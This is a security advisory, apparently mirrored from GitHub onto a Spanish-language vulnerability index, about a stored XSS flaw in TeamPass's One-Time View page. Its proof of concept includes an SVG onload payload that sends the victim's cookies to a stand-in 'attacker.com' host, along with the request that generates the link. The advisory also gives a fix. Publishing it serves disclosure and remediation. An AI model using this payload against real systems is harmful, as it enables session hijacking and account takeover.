GHSA-CPGH-9H3X-R8GM
Stored XSS via Unescaped URL Field in One-Time View (OTV) Page
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-CPGH-9H3X-R8GM divulgada · CVSS 7.6 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
The One-Time View page (`app/core/otv.php`) renders the item `url` column directly into HTML without any output encoding. When an item is created, the URL is filtered through PHP's `FILTER_SANITIZE_URL`, which preserves `<`, `>`, `"`, `'`, `/`, `(`, `)`, `:`, and all alphanumeric characters — sufficient to construct working HTML injection payloads. Any user with write access to a folder can craft a malicious URL, generate an OTV link, and send it to another user. When the recipient opens the OTV link, the stored payload executes in their browser on the TeamPass origin.
### Details
`app/sources/items.queries.php:268` — URL stored with `FILTER_SANITIZE_URL`, which does not strip `<`, `>`, `(`, `)`:
$post_url = filter_var(htmlspecialchars_decode($dataReceived['url']), FILTER_SANITIZE_URL);`FILTER_SANITIZE_URL` allows the character set `[A-Za-z0-9$\-_.+!*'(),{}|\^~[]<>#%";/?:@&=]`. The payload `<svg/onload=alert(1)>` passes through unchanged.
`app/core/otv.php:177` — URL fetched from DB with no escaping:
$url = strval($dataItem['url'] ?? '');`app/core/otv.php:190` — URL output directly into HTML context:
$html = '...<tr><th>URL:</th><td>'.$url.'</td></tr>...';PoC
# Step 1: Authenticated user creates an item with URL:
# <svg/onload="fetch('https://attacker.com/?c='+document.cookie)">
# Step 2: User generates an OTV link for that item:
POST /app/sources/items.queries.php
type=generate_otv_for_item&data={"id":<item_id>, "days":1, "views":5}&key=<session_key>
# Step 3: OTV link is sent to admin:
# https://teampass.example.com/index.php?otv=true&code=<code>&stamp=<ts>&key=<key>
# Step 4: Admin opens OTV page, SVG payload executes, exfiltrating session cookiesNo victim interaction beyond opening the OTV link is required. OTV links are designed to be shared with users who do NOT have a TeamPass account, broadening the victim pool.
### Impact
An attacker with any write-access role can escalate to session hijacking of any OTV link recipient, including administrators. Combined with the privilege escalation finding, this creates a full account takeover chain. The OTV feature is explicitly used to share credentials with external parties, so a malicious insider can target external users.
### Fix
Apply `htmlspecialchars($url, ENT_QUOTES, 'UTF-8')` before inserting into the HTML string at `app/core/otv.php:177–190`. Additionally, validate URL schemes on write (allowlist `http://`, `https://`, `ftp://`) to prevent `javascript:` URI injection.
If possible, please apply for a CVE number when posting.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistnilsteampassnet/teampass |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/nilsteampassnet/TeamPass/security/advisories/GHSA-cpgh-9h3x-r8gmLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
